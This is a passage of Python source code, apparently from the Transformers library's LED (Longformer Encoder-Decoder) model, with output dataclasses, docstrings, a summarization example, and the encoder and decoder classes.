loss: Optional[torch.FloatTensor] = None
logits: torch.FloatTensor = None
past_key_values: Optional[List[torch.FloatTensor]] = None
decoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
decoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
cross_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_last_hidden_state: Optional[torch.FloatTensor] = None
encoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
encoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_global_attentions: Optional[Tuple[torch.FloatTensor]] = None
@dataclass
class LEDSeq2SeqQuestionAnsweringModelOutput(ModelOutput):
"""
Base class for outputs of sequence-to-sequence question answering models.
Args:
loss (`torch.FloatTensor` of shape `(1,)`, *optional*, returned when `labels` is provided):
Total span extraction loss is the sum of a Cross-Entropy for the start and end positions.
start_logits (`torch.FloatTensor` of shape `(batch_size, sequence_length)`):
Span-start scores (before SoftMax).
end_logits (`torch.FloatTensor` of shape `(batch_size, sequence_length)`):
Span-end scores (before SoftMax).
past_key_values (`List[torch.FloatTensor]`, *optional*, returned when `use_cache=True` is passed or when `config.use_cache=True`):
List of `torch.FloatTensor` of length `config.n_layers`, with each tensor of shape `(2, batch_size,
num_heads, sequence_length, embed_size_per_head)`).
Contains pre-computed hidden-states (key and values in the attention blocks) of the decoder that can be
used (see `past_key_values` input) to speed up sequential decoding.
decoder_hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the decoder at the output of each layer plus the initial embedding outputs.
decoder_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
cross_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the decoder's cross-attention layer, after the attention softmax, used to compute the
weighted average in the cross-attention heads.
encoder_last_hidden_state (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder of the model.
encoder_hidden_states (`tuple(torch.FloatTensor)`, *optional*, returned when `output_hidden_states=True` is passed or when `config.output_hidden_states=True`):
Tuple of `torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer) of
shape `(batch_size, sequence_length, hidden_size)`.
Hidden-states of the encoder at the output of each layer plus the initial embedding outputs.
encoder_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length,
sequence_length)`.
Attentions weights of the encoder, after the attention softmax, used to compute the weighted average in the
self-attention heads.
encoder_global_attentions (`tuple(torch.FloatTensor)`, *optional*, returned when `output_attentions=True` is passed or when `config.output_attentions=True`):
Tuple of `torch.FloatTensor` (one for each layer) of shape `(batch_size, num_heads, sequence_length, x)`,
where `x` is the number of tokens with global attention mask.
Global attentions weights after the attention softmax, used to compute the weighted average in the
self-attention heads. Those are the attention weights from every token with global attention to every token
in the sequence.
"""
loss: Optional[torch.FloatTensor] = None
start_logits: torch.FloatTensor = None
end_logits: torch.FloatTensor = None
past_key_values: Optional[List[torch.FloatTensor]] = None
decoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
decoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
cross_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_last_hidden_state: Optional[torch.FloatTensor] = None
encoder_hidden_states: Optional[Tuple[torch.FloatTensor]] = None
encoder_attentions: Optional[Tuple[torch.FloatTensor]] = None
encoder_global_attentions: Optional[Tuple[torch.FloatTensor]] = None
LED_START_DOCSTRING = r"""
This model inherits from [`PreTrainedModel`]. See the superclass documentation for the generic methods the library
implements for all its models (such as downloading or saving, resizing the input embeddings, pruning heads etc.)
This model is also a PyTorch [torch.nn.Module](https://pytorch.org/docs/stable/nn.html#torch.nn.Module) subclass.
Use it as a regular PyTorch Module and refer to the PyTorch documentation for general usage and behavior.
Parameters:
config ([`LEDConfig`]):
Model configuration class with all the parameters of the model. Initializing with a config file does not
load the weights associated with the model, only the configuration. Check out the
[`~PreTrainedModel.from_pretrained`] method to load the model weights.
"""
LED_GENERATION_EXAMPLE = r"""
Summarization example:
```python
>>> import torch
>>> from transformers import AutoTokenizer, LEDForConditionalGeneration
>>> model = LEDForConditionalGeneration.from_pretrained("allenai/led-large-16384-arxiv")
>>> tokenizer = AutoTokenizer.from_pretrained("allenai/led-large-16384-arxiv")
>>> ARTICLE_TO_SUMMARIZE = '''Transformers (Vaswani et al., 2017) have achieved state-of-the-art
... results in a wide range of natural language tasks including generative language modeling
... (Dai et al., 2019; Radford et al., 2019) and discriminative ... language understanding (Devlin et al., 2019).
... This success is partly due to the self-attention component which enables the network to capture contextual
... information from the entire sequence. While powerful, the memory and computational requirements of
... self-attention grow quadratically with sequence length, making it infeasible (or very expensive) to
... process long sequences. To address this limitation, we present Longformer, a modified Transformer
... architecture with a self-attention operation that scales linearly with the sequence length, making it
... versatile for processing long documents (Fig 1). This is an advantage for natural language tasks such as
... long document classification, question answering (QA), and coreference resolution, where existing approaches
... partition or shorten the long context into smaller sequences that fall within the typical 512 token limit
... of BERT-style pretrained models. Such partitioning could potentially result in loss of important
... cross-partition information, and to mitigate this problem, existing methods often rely on complex
... architectures to address such interactions. On the other hand, our proposed Longformer is able to build
... contextual representations of the entire context using multiple layers of attention, reducing the need for
... task-specific architectures.'''
>>> inputs = tokenizer.encode(ARTICLE_TO_SUMMARIZE, return_tensors="pt")
>>> # Global attention on the first token (cf. Beltagy et al. 2020)
>>> global_attention_mask = torch.zeros_like(inputs)
>>> global_attention_mask[:, 0] = 1
>>> # Generate Summary
>>> summary_ids = model.generate(inputs, global_attention_mask=global_attention_mask, num_beams=3, max_length=32)
>>> print(tokenizer.decode(summary_ids[0], skip_special_tokens=True, clean_up_tokenization_spaces=True))
```
"""
LED_INPUTS_DOCSTRING = r"""
Args:
input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`):
Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you provide
it.
Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
decoder_input_ids (`torch.LongTensor` of shape `(batch_size, target_sequence_length)`, *optional*):
Indices of decoder input sequence tokens in the vocabulary.
Indices can be obtained using [`LedTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
LED uses the `eos_token_id` as the starting token for `decoder_input_ids` generation. If `past_key_values`
is used, optionally only the last `decoder_input_ids` have to be input (see `past_key_values`).
decoder_attention_mask (`torch.LongTensor` of shape `(batch_size, target_sequence_length)`, *optional*):
Default behavior: generate a tensor that ignores pad tokens in `decoder_input_ids`. Causal mask will also
be used by default.
If you want to change padding behavior, you should read [`modeling_led._prepare_decoder_inputs`] and modify
to your needs. See diagram 1 in [the paper](https://arxiv.org/abs/1910.13461) for more information on the
default strategy.
global_attention_mask (`torch.FloatTensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to decide the attention given on each token, local attention or global attention for the encoder.
Tokens with global attention attends to all other tokens, and all other tokens attend to them. This is
important for task-specific finetuning because it makes the model more flexible at representing the task.
For example, for classification, the <s> token should be given global attention. For QA, all question
tokens should also have global attention. Please refer to the [Longformer
paper](https://arxiv.org/abs/2004.05150) for more details. Mask values selected in `[0, 1]`:
- 0 for local attention (a sliding window attention),
- 1 for global attention (tokens that attend to all other tokens, and all other tokens attend to them).
head_mask (`torch.Tensor` of shape `(encoder_layers, encoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the attention modules in the encoder. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
decoder_head_mask (`torch.Tensor` of shape `(decoder_layers, decoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the attention modules in the decoder. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
cross_attn_head_mask (`torch.Tensor` of shape `(decoder_layers, decoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the cross-attention modules in the decoder. Mask values selected in `[0,
1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
encoder_outputs (`tuple(tuple(torch.FloatTensor)`, *optional*):
Tuple consists of (`last_hidden_state`, *optional*: `hidden_states`, *optional*: `attentions`)
`last_hidden_state` of shape `(batch_size, sequence_length, hidden_size)`, *optional*) is a sequence of
hidden-states at the output of the last layer of the encoder. Used in the cross-attention of the decoder.
past_key_values (`tuple(tuple(torch.FloatTensor))`, *optional*, returned when `use_cache=True` is passed or when `config.use_cache=True`):
Tuple of `tuple(torch.FloatTensor)` of length `config.n_layers`, with each tuple having 2 tensors of shape
`(batch_size, num_heads, sequence_length, embed_size_per_head)`) and 2 additional tensors of shape
`(batch_size, num_heads, encoder_sequence_length, embed_size_per_head)`.
Contains pre-computed hidden-states (key and values in the self-attention blocks and in the cross-attention
blocks) that can be used (see `past_key_values` input) to speed up sequential decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those that
don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of all
`decoder_input_ids` of shape `(batch_size, sequence_length)`.
inputs_embeds (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation. This
is useful if you want more control over how to convert `input_ids` indices into associated vectors than the
model's internal embedding lookup matrix.
decoder_inputs_embeds (`torch.FloatTensor` of shape `(batch_size, target_sequence_length, hidden_size)`, *optional*):
Optionally, instead of passing `decoder_input_ids` you can choose to directly pass an embedded
representation. If `past_key_values` is used, optionally only the last `decoder_inputs_embeds` have to be
input (see `past_key_values`). This is useful if you want more control over how to convert
`decoder_input_ids` indices into associated vectors than the model's internal embedding lookup matrix.
If `decoder_input_ids` and `decoder_inputs_embeds` are both unset, `decoder_inputs_embeds` takes the value
of `inputs_embeds`.
use_cache (`bool`, *optional*):
If set to `True`, `past_key_values` key value states are returned and can be used to speed up decoding (see
`past_key_values`).
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under returned
tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors for
more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
class LEDEncoder(LEDPreTrainedModel):
"""
Transformer encoder consisting of *config.encoder_layers* self-attention layers. Each layer is a
[`LEDEncoderLayer`].
Args:
config: LEDConfig
embed_tokens (nn.Embedding): output embedding
"""
def __init__(self, config: LEDConfig, embed_tokens: Optional[nn.Embedding] = None):
super().__init__(config)
self.dropout = config.dropout
self.layerdrop = config.encoder_layerdrop
embed_dim = config.d_model
self.padding_idx = config.pad_token_id
self.max_source_positions = config.max_encoder_position_embeddings
if isinstance(config.attention_window, int):
if config.attention_window % 2 != 0:
raise ValueError("`config.attention_window` has to be an even value")
if config.attention_window <= 0:
raise ValueError("`config.attention_window` has to be positive")
config.attention_window = [config.attention_window] * config.num_hidden_layers # one value per layer
else:
if len(config.attention_window) != config.num_hidden_layers:
raise ValueError(
"`len(config.attention_window)` should equal `config.num_hidden_layers`. "
f"Expected {config.num_hidden_layers}, given {len(config.attention_window)}"
)
if embed_tokens is not None:
self.embed_tokens = embed_tokens
else:
self.embed_tokens = nn.Embedding(config.vocab_size, embed_dim, self.padding_idx)
self.embed_positions = LEDLearnedPositionalEmbedding(
self.max_source_positions,
embed_dim,
)
self.layers = nn.ModuleList([LEDEncoderLayer(config, i) for i in range(config.encoder_layers)])
self.layernorm_embedding = nn.LayerNorm(embed_dim)
self.gradient_checkpointing = False
# Initialize weights and apply final processing
self.post_init()
def _merge_to_attention_mask(self, attention_mask: torch.Tensor, global_attention_mask: torch.Tensor):
# longformer self-attention expects attention mask to have 0 (no attn), 1 (local attn), 2 (global attn)
# (global_attention_mask + 1) => 1 for local attention, 2 for global attention
# => final attention_mask => 0 for no attention, 1 for local attention 2 for global attention
if attention_mask is not None:
attention_mask = attention_mask * (global_attention_mask + 1)
else:
# simply use `global_attention_mask` as `attention_mask`
# if no `attention_mask` is given
attention_mask = global_attention_mask + 1
return attention_mask
def _pad_to_window_size(
self,
input_ids: torch.Tensor,
attention_mask: torch.Tensor,
inputs_embeds: torch.Tensor,
pad_token_id: int,
):
"""A helper function to pad tokens and mask to work with implementation of Longformer self-attention."""
# padding
attention_window = (
self.config.attention_window
if isinstance(self.config.attention_window, int)
else max(self.config.attention_window)
)
if attention_window % 2 != 0:
raise ValueError(f"`attention_window` should be an even value. Given {attention_window}")
input_shape = input_ids.shape if input_ids is not None else inputs_embeds.shape
batch_size, seq_len = input_shape[:2]
padding_len = (attention_window - seq_len % attention_window) % attention_window
if padding_len > 0:
logger.info(
f"Input ids are automatically padded from {seq_len} to {seq_len + padding_len} to be a multiple of "
f"`config.attention_window`: {attention_window}"
)
if input_ids is not None:
input_ids = nn.functional.pad(input_ids, (0, padding_len), value=pad_token_id)
if inputs_embeds is not None:
input_ids_padding = inputs_embeds.new_full(
(batch_size, padding_len),
self.config.pad_token_id,
dtype=torch.long,
)
inputs_embeds_padding = self.embed_tokens(input_ids_padding)
inputs_embeds = torch.cat([inputs_embeds, inputs_embeds_padding], dim=-2)
attention_mask = nn.functional.pad(
attention_mask, (0, padding_len), value=False
) # no attention on the padding tokens
return padding_len, input_ids, attention_mask, inputs_embeds
def forward(
self,
input_ids=None,
attention_mask=None,
global_attention_mask=None,
head_mask=None,
inputs_embeds=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
Args:
input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`):
Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you
provide it.
Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
global_attention_mask (`torch.FloatTensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to decide the attention given on each token, local attention or global attention for the encoder.
Tokens with global attention attends to all other tokens, and all other tokens attend to them. This is
important for task-specific finetuning because it makes the model more flexible at representing the
task. For example, for classification, the <s> token should be given global attention. For QA, all
question tokens should also have global attention. Please refer to the [Longformer
paper](https://arxiv.org/abs/2004.05150) for more details. Mask values selected in `[0, 1]`:
- 0 for local attention (a sliding window attention),
- 1 for global attention (tokens that attend to all other tokens, and all other tokens attend to them).
head_mask (`torch.Tensor` of shape `(encoder_layers, encoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
inputs_embeds (`torch.FloatTensor` of shape `(batch_size, sequence_length, hidden_size)`, *optional*):
Optionally, instead of passing `input_ids` you can choose to directly pass an embedded representation.
This is useful if you want more control over how to convert `input_ids` indices into associated vectors
than the model's internal embedding lookup matrix.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under
returned tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors
for more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
# check input_ids and inputs_embeds
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both input_ids and inputs_embeds at the same time")
elif input_ids is None and inputs_embeds is None:
raise ValueError("You have to specify either input_ids or inputs_embeds")
if inputs_embeds is None:
inputs_embeds = self.embed_tokens(input_ids)
# create default attention_mask
if attention_mask is None:
attention_mask = torch.ones(inputs_embeds.size()[:-1], device=inputs_embeds.device, dtype=torch.long)
# merge `global_attention_mask` and `attention_mask`
if global_attention_mask is not None:
attention_mask = self._merge_to_attention_mask(attention_mask, global_attention_mask)
# pad input if necessary
padding_len, input_ids, attention_mask, inputs_embeds = self._pad_to_window_size(
input_ids=input_ids,
attention_mask=attention_mask,
inputs_embeds=inputs_embeds,
pad_token_id=self.config.pad_token_id,
)
# retrieve input_shape
if input_ids is not None:
input_shape = input_ids.size()
input_ids = input_ids.view(-1, input_shape[-1])
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
# convert attention_mask to float
if attention_mask is not None:
# [bsz, seq_len] -> [bsz, seq_len]; 1 -> 0.0; 0 -> "-inf"
attention_mask = _expand_mask(attention_mask, inputs_embeds.dtype)[:, 0, 0, :]
# get masking tensors
is_index_masked = attention_mask < 0
is_index_global_attn = attention_mask > 0
is_global_attn = is_index_global_attn.flatten().any().item()
embed_pos = self.embed_positions(input_shape)
hidden_states = inputs_embeds + embed_pos
hidden_states = self.layernorm_embedding(hidden_states)
hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
encoder_states = () if output_hidden_states else None
all_attentions = () if output_attentions else None
all_global_attentions = () if (output_attentions and is_global_attn) else None
# check if head_mask has a correct number of layers specified if desired
if head_mask is not None:
if head_mask.size()[0] != len(self.layers):
raise ValueError(
f"The head_mask should be specified for {len(self.layers)} layers, but it is for"
f" {head_mask.size()[0]}."
)
for idx, encoder_layer in enumerate(self.layers):
if output_hidden_states:
encoder_states = encoder_states + (hidden_states,)
# add LayerDrop (see https://arxiv.org/abs/1909.11556 for description)
dropout_probability = random.uniform(0, 1)
if self.training and (dropout_probability < self.layerdrop): # skip the layer
layer_outputs = (None, None, None)
else:
if self.gradient_checkpointing and self.training:
def create_custom_forward(module):
def custom_forward(*inputs):
return module(*inputs, is_global_attn, output_attentions)
return custom_forward
layer_outputs = torch.utils.checkpoint.checkpoint(
create_custom_forward(encoder_layer),
hidden_states,
attention_mask,
head_mask[idx] if head_mask is not None else None,
is_index_masked,
is_index_global_attn,
)
else:
layer_outputs = encoder_layer(
hidden_states,
attention_mask=attention_mask,
layer_head_mask=(head_mask[idx] if head_mask is not None else None),
is_index_masked=is_index_masked,
is_index_global_attn=is_index_global_attn,
is_global_attn=is_global_attn,
output_attentions=output_attentions,
)
hidden_states = layer_outputs[0]
if output_attentions:
# bzs x seq_len x num_attn_heads x (num_global_attn + attention_window_len + 1) => bzs x num_attn_heads x seq_len x (num_global_attn + attention_window_len + 1)
all_attentions = all_attentions + (layer_outputs[1].transpose(1, 2),)
if is_global_attn:
# bzs x num_attn_heads x num_global_attn x seq_len => bzs x num_attn_heads x seq_len x num_global_attn
all_global_attentions = all_global_attentions + (layer_outputs[2].transpose(2, 3),)
if output_hidden_states:
encoder_states = encoder_states + (hidden_states,)
# undo padding
if padding_len > 0:
# unpad `hidden_states` because the calling function is expecting a length == input_ids.size(1)
hidden_states = hidden_states[:, :-padding_len]
if output_hidden_states:
encoder_states = tuple([state[:, :-padding_len] for state in encoder_states])
if output_attentions:
all_attentions = tuple([state[:, :, :-padding_len, :] for state in all_attentions])
if not return_dict:
return tuple(
v for v in [hidden_states, encoder_states, all_attentions, all_global_attentions] if v is not None
)
return LEDEncoderBaseModelOutput(
last_hidden_state=hidden_states,
hidden_states=encoder_states,
attentions=all_attentions,
global_attentions=all_global_attentions,
)
class LEDDecoder(LEDPreTrainedModel):
"""
Transformer decoder consisting of *config.decoder_layers* layers. Each layer is a [`LEDDecoderLayer`]
Args:
config: LEDConfig
embed_tokens (nn.Embedding): output embedding
"""
def __init__(self, config: LEDConfig, embed_tokens: Optional[nn.Embedding] = None):
super().__init__(config)
self.dropout = config.dropout
self.layerdrop = config.decoder_layerdrop
self.padding_idx = config.pad_token_id
self.max_target_positions = config.max_decoder_position_embeddings
if embed_tokens is not None:
self.embed_tokens = embed_tokens
else:
self.embed_tokens = nn.Embedding(config.vocab_size, config.d_model, self.padding_idx)
self.embed_positions = LEDLearnedPositionalEmbedding(
self.max_target_positions,
config.d_model,
)
self.layers = nn.ModuleList([LEDDecoderLayer(config) for _ in range(config.decoder_layers)])
self.layernorm_embedding = nn.LayerNorm(config.d_model)
self.gradient_checkpointing = False
# Initialize weights and apply final processing
self.post_init()
def forward(
self,
input_ids=None,
attention_mask=None,
global_attention_mask=None,
encoder_hidden_states=None,
encoder_attention_mask=None,
head_mask=None,
cross_attn_head_mask=None,
past_key_values=None,
inputs_embeds=None,
use_cache=None,
output_attentions=None,
output_hidden_states=None,
return_dict=None,
):
r"""
Args:
input_ids (`torch.LongTensor` of shape `(batch_size, sequence_length)`):
Indices of input sequence tokens in the vocabulary. Padding will be ignored by default should you
provide it.
Indices can be obtained using [`AutoTokenizer`]. See [`PreTrainedTokenizer.encode`] and
[`PreTrainedTokenizer.__call__`] for details.
[What are input IDs?](../glossary#input-ids)
attention_mask (`torch.Tensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to avoid performing attention on padding token indices. Mask values selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
global_attention_mask (`torch.FloatTensor` of shape `(batch_size, sequence_length)`, *optional*):
Mask to decide the attention given on each token, local attention or global attention. Tokens with
global attention attends to all other tokens, and all other tokens attend to them. This is important
for task-specific finetuning because it makes the model more flexible at representing the task. For
example, for classification, the <s> token should be given global attention. For QA, all question
tokens should also have global attention. Please refer to the [Longformer
paper](https://arxiv.org/abs/2004.05150) for more details. Mask values selected in `[0, 1]`:
- 0 for local attention (a sliding window attention),
- 1 for global attention (tokens that attend to all other tokens, and all other tokens attend to them).
encoder_hidden_states (`torch.FloatTensor` of shape `(batch_size, encoder_sequence_length, hidden_size)`, *optional*):
Sequence of hidden-states at the output of the last layer of the encoder. Used in the cross-attention
of the decoder.
encoder_attention_mask (`torch.LongTensor` of shape `(batch_size, encoder_sequence_length)`, *optional*):
Mask to avoid performing cross-attention on padding tokens indices of encoder input_ids. Mask values
selected in `[0, 1]`:
- 1 for tokens that are **not masked**,
- 0 for tokens that are **masked**.
[What are attention masks?](../glossary#attention-mask)
head_mask (`torch.Tensor` of shape `(decoder_layers, decoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
cross_attn_head_mask (`torch.Tensor` of shape `(decoder_layers, decoder_attention_heads)`, *optional*):
Mask to nullify selected heads of the cross-attention modules. Mask values selected in `[0, 1]`:
- 1 indicates the head is **not masked**,
- 0 indicates the head is **masked**.
past_key_values (`tuple(tuple(torch.FloatTensor))`, *optional*, returned when `use_cache=True` is passed or when `config.use_cache=True`):
Tuple of `tuple(torch.FloatTensor)` of length `config.n_layers`, with each tuple having 2 tensors of
shape `(batch_size, num_heads, sequence_length, embed_size_per_head)`) and 2 additional tensors of
shape `(batch_size, num_heads, encoder_sequence_length, embed_size_per_head)`.
Contains pre-computed hidden-states (key and values in the self-attention blocks and in the
cross-attention blocks) that can be used (see `past_key_values` input) to speed up sequential decoding.
If `past_key_values` are used, the user can optionally input only the last `decoder_input_ids` (those
that don't have their past key value states given to this model) of shape `(batch_size, 1)` instead of
all `decoder_input_ids` of shape `(batch_size, sequence_length)`. inputs_embeds (`torch.FloatTensor` of
shape `(batch_size, sequence_length, hidden_size)`, *optional*): Optionally, instead of passing
`input_ids` you can choose to directly pass an embedded representation. This is useful if you want more
control over how to convert `input_ids` indices into associated vectors than the model's internal
embedding lookup matrix.
output_attentions (`bool`, *optional*):
Whether or not to return the attentions tensors of all attention layers. See `attentions` under
returned tensors for more detail.
output_hidden_states (`bool`, *optional*):
Whether or not to return the hidden states of all layers. See `hidden_states` under returned tensors
for more detail.
return_dict (`bool`, *optional*):
Whether or not to return a [`~utils.ModelOutput`] instead of a plain tuple.
"""
output_attentions = output_attentions if output_attentions is not None else self.config.output_attentions
output_hidden_states = (
output_hidden_states if output_hidden_states is not None else self.config.output_hidden_states
)
use_cache = use_cache if use_cache is not None else self.config.use_cache
return_dict = return_dict if return_dict is not None else self.config.use_return_dict
# retrieve input_ids and inputs_embeds
if input_ids is not None and inputs_embeds is not None:
raise ValueError("You cannot specify both decoder_input_ids and decoder_inputs_embeds at the same time")
elif input_ids is not None:
input_shape = input_ids.size()
input_ids = input_ids.view(-1, input_shape[-1])
elif inputs_embeds is not None:
input_shape = inputs_embeds.size()[:-1]
else:
raise ValueError("You have to specify either decoder_input_ids or decoder_inputs_embeds")
# past_key_values_length
past_key_values_length = past_key_values[0][0].shape[2] if past_key_values is not None else 0
if inputs_embeds is None:
inputs_embeds = self.embed_tokens(input_ids)
# create causal mask
# [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]
combined_attention_mask = None
if input_shape[-1] > 1:
combined_attention_mask = _make_causal_mask(
input_shape, inputs_embeds.dtype, past_key_values_length=past_key_values_length
).to(self.device)
if attention_mask is not None and combined_attention_mask is not None:
# [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]
combined_attention_mask = combined_attention_mask + _expand_mask(
attention_mask, inputs_embeds.dtype, tgt_len=input_shape[-1]
)
# expand encoder attention mask
if encoder_hidden_states is not None and encoder_attention_mask is not None:
# [bsz, seq_len] -> [bsz, 1, tgt_seq_len, src_seq_len]
encoder_attention_mask = _expand_mask(encoder_attention_mask, inputs_embeds.dtype, tgt_len=input_shape[-1])
# embed positions
positions = self.embed_positions(input_shape, past_key_values_length)
hidden_states = inputs_embeds + positions
hidden_states = self.layernorm_embedding(hidden_states)
hidden_states = nn.functional.dropout(hidden_states, p=self.dropout, training=self.training)
if self.gradient_checkpointing and self.training:
if use_cache:
logger.warning_once(
"`use_cache=True` is incompatible with gradient checkpointing. Setting `use_cache=False`..."
)
use_cache = False
# decoder layers
all_hidden_states = () if output_hidden_states else None
all_self_attns = () if output_attentions else None
all_cross_attentions = () if output_attentions else None
next_decoder_cache = () if use_cache else None
# check if head_mask/cross_attn_head_mask has a correct number of layers specified if desired
for attn_mask, mask_name in zip([head_mask, cross_attn_head_mask], ["head_mask", "cross_attn_head_mask"]):
if attn_mask is not None:
if attn_mask.size()[0] != len(self.layers):
raise ValueError(
f"The `{mask_name}` should be specified for {len(self.layers)} layers, but it is for"
f" {head_mask.size()[0]}."
)
for idx, decoder_layer in enumerate(self.layers):
# add LayerDrop (see https://arxiv.org/abs/1909.11556 for description)
if output_hidden_states:
all_hidden_states += (hidden_states,)
dropout_probability = random.uniform(0, 1)
if self.training and (dropout_probability < self.layerdrop):
continue
past_key_value = past_key_values[idx] if past_key_values is not None else None
if self.gradient_checkpointing and self.training:
def create_custom_forward(module):
def custom_forward(*inputs):
# None for past_key_value
return module(*inputs, output_attentions, use_cache)
return custom_forward
layer_outputs = torch.utils.checkpoint.checkpoint(
create_custom_forward(decoder_layer),
hidden_states,
combined_attention_mask,
encoder_hidden_states,
encoder_attention_mask,
head_mask[idx] if head_mask is not None else None,
cross_attn_head_mask[idx] if cross_attn_head_mask is not None else None,
None,
)
else:
layer_outputs = decoder_layer(
hidden_states,
attention_mask=combined_attention_mask,
encoder_hidden_states=encoder_hidden_states,
encoder_attention_mask=encoder_attention_mask,
layer_head_mask=(head_mask[idx] if head_mask is not None else None),
cross_attn_layer_head_mask=(
cross_attn_head_mask[idx] if cross_attn_head_mask is not None else None
),
past_key_value=past_key_value,
output_attentions=output_attentions,
use_cache=use_cache,
)
hidden_states = layer_outputs[0]
if use_cache:
next_decoder_cache += (layer_outputs[3 if output_attentions else 1],)
if output_attentions:
all_self_attns += (layer_outputs[1],)
all_cross_attentions += (layer_outputs[2],)
# add hidden states from the last decoder layer
if output_hidden_states:
all_hidden_states += (hidden_states,)
next_cache = next_decoder_cache if use_cache else None
if not return_dict:
return tuple(
v
for v in [hidden_states, next_cache, all_hidden_states, all_self_attns, all_cross_attentions]
if v is not None
)
return BaseModelOutputWithPastAndCrossAttentions(
last_hidden_state=hidden_states,
past_key_values=next_cache,
hidden_states=all_hidden_states,
attentions=all_self_attns,
cross_attentions=all_cross_attentions,
)
@add_start_docstrings(
"The bare LED Model outputting raw hidden-states without any specific head on top.",
LED_START_DOCSTRING,
)
class LEDModel(LEDPreTrainedModel):
_keys_to_ignore_on_load_missing = ["decoder.embed_tokens.weight", "encoder.embed_tokens.weight"]
def __init__(self, config: LEDConfig):
super().__init__(config)
padding_idx, vocab_size = config.pad_token_id, config.vocab_size
self.shared = nn.Embedding(vocab_size, config.d_model, padding_idx)
self.encoder = LEDEncoder(config, self.shared)
self.decoder = LEDDecoder(config, self.shared)
# Initialize weights and apply final processing
self.post_init()
def get_input_embeddings(self):
